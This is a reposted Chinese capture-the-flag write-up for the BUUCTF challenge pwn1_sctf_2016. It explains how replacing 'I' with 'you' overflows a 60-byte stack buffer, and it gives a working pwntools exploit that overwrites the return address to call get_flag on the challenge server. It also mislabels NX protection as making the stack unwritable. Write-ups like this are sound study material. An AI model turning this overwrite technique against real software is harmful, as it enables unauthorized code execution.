其他分享
首页 > 其他分享> > buuctf pwn1_sctf_2016

buuctf pwn1_sctf_2016

作者:互联网

checksec一下子,开了NX保护,栈不可执行,也就是说不能往栈上写东西。

拖进ida,看vuln()函数:
给s分配了0x3C空间的内存,但是只允许输入32个字节
但是“you”会把“I”替换掉,所以只要输入20个“I”,替换之后,输入的字符就变成了60个字节,就可以写到栈底从而把ebp覆盖掉,到达eip的地方。

20个”I“,加上需要覆盖的ebp的四个字节,加上覆盖到eip的四个字节,共28个字节,没超32.

ida里还可以看到get_flag函数。找到函数的地址,写exp:

from pwn import *
p = remote('node3.buuoj.cn',28745)

get_flagaddr = 0x08048F0D
payload = 20*"I" + 'aaaa' + p32(get_flagaddr)

p.sendline(payload)
p.interactive()

得到flag

标签:buuctf,pwn1,字节,get,sctf,flagaddr,ebp,20,payload
来源: https://blog.csdn.net/YANG12345_6/article/details/116211909